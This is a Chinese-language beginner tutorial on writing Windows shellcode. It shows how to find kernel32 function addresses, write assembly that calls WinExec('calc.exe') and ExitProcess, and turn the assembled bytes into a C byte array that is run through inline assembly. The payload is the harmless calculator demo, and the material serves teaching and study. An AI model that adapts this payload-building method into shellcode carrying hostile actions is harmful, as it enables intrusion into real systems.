簡單地講,ShellCode就是一段01二進制的機器碼,試圖利用軟件中的漏洞完成自己想做的事情。ShellCode的編寫需要考慮和顧及的東西很多,這里先寫一個適合新手的范例。
*需要的預備知識:
1.匯編語言(尤其要清楚了解函數是如何調用的)
2.PE文件格式(可參考《Windows PE 權威指南》一書)
3.一點點WinAPI函數
*使用的工具軟件:
1.MASM32
2.Stud_PE
3.OllyDBG
一、用C語言寫出彈出計算器的代碼
1 LoadLibrary("kernel32.dll"); 2 WinExec("calc.exe", 5); 3 ExitProcess(0);
二、找到這些函數函數的虛擬內存地址
WinExec()和ExitProcess()都是kernel32.dll中的函數,使用Stud_PE查看kernel32.dll的相關信息

這里我們注意到kernel32.dll的映像基址為0x7C800000,也就是說系統在加載kernel32.dll的時候,會將其加載到虛擬內存為0x7C800000的位置。
接着查看kernel32.dll中的函數的偏移地址,偏移地址+映像基址=函數在虛擬內存中的地址

可以看到WinExec()函數的偏移地址為0x000623AD,所以WinExec()在虛擬內存中的地址為0x7C8623AD,同理得到ExitProcess()的地址為0x7C81CAFA。
事實上一般的PE文件都會加載kernel32.dll,user32.dll,ntdll.dll等動態鏈接庫,所以我們不必要調用LoadLibrary("kernel32.dll"),不過當我們的ShellCode需要使用到其他動態鏈接庫的時候,如ws2_32.dll等,LoadLibrary()函數是必須的,故也將其地址找到:0x7C801D7B。
注:在實際的ShellCode編寫中,函數的地址與操作系統的版本有關,故需要使用其他的技巧,這里只是寫一個簡單的范例。
三、將C語言轉化為匯編語言
使用MASM編寫編譯
1 .386 2 .model flat,stdcall 3 option casemap:none 4 5 include windows.inc 6 include user32.inc 7 includelib user32.lib 8 include kernel32.inc 9 includelib kernel32.lib 10 11 .code 12 start: 13 ;push ebp 14 ;mov ebp,esp 15 16 ;LoadLibrary("kernel32.dll"); 17 ;xor eax,eax 18 ;push eax 19 ;mov eax,6C6C642Eh ;".dll" 20 ;push eax 21 ;mov eax,32336C65h ;"el32" 22 ;push eax 23 ;mov eax,6E72656Bh ;"kern" 24 ;push eax 25 ;mov eax,esp 26 ;push eax ;Arg1 = "kernel32.dll" 27 ;mov eax,7C801D7Bh ;kernel32.LoadLibrary 28 ;call eax 29 30 ;WinExec("calc.exe", 5); 31 xor eax,eax 32 push eax 33 mov eax,6578652Eh ;".exe" 34 push eax 35 mov eax,636C6163h ;"calc" 36 push eax 37 mov eax,esp 38 push 5 ;Arg2 = SW_SHOW 39 push eax ;Arg1 = "calc.exe" 40 mov eax,7C8623ADh ;kernel32.WinExec 41 call eax 42 43 ;ExitProcess(0); 44 xor eax,eax 45 push eax ;Arg1 = 0 46 mov eax,7C81CAFAh ;kernel32.ExitProcess 47 call eax 48 49 ;mov esp,ebp 50 ;pop ebp 51 end start
注意到把LoadLibrary()函數注釋掉了,這不影響這一段代碼的執行
四、完成ShellCode
編譯完成后可以使用OllyDbg調試。
使用十六進制編輯器打開EXE文件,找到代碼段

剩下的工作就簡單了
1 //LoadLibraryA("kernel32.dll"); 2 //WinExec("calc.exe",SW_SHOW); 3 4 unsigned char shellcode[68] = { 5 0x33, 0xC0, 0x50, 0xB8, 0x2E, 0x64, 0x6C, 0x6C, 6 0x50, 0xB8, 0x65, 0x6C, 0x33, 0x32, 0x50, 0xB8, 7 0x6B, 0x65, 0x72, 0x6E, 0x50, 0x8B, 0xC4, 0x50, 8 0xB8, 0x7B, 0x1D, 0x80, 0x7C, 0xFF, 0xD0, 0x33, 9 0xC0, 0x50, 0xB8, 0x2E, 0x65, 0x78, 0x65, 0x50, 10 0xB8, 0x63, 0x61, 0x6C, 0x63, 0x50, 0x8B, 0xC4, 11 0x6A, 0x05, 0x50, 0xB8, 0xAD, 0x23, 0x86, 0x7C, 12 0xFF, 0xD0, 0x33, 0xC0, 0x50, 0xB8, 0xFA, 0xCA, 13 0x81, 0x7C, 0xFF, 0xD0 14 }; 15 16 int main() 17 { 18 __asm 19 { 20 lea eax,shellcode; 21 call eax; 22 } 23 return 0; 24 }
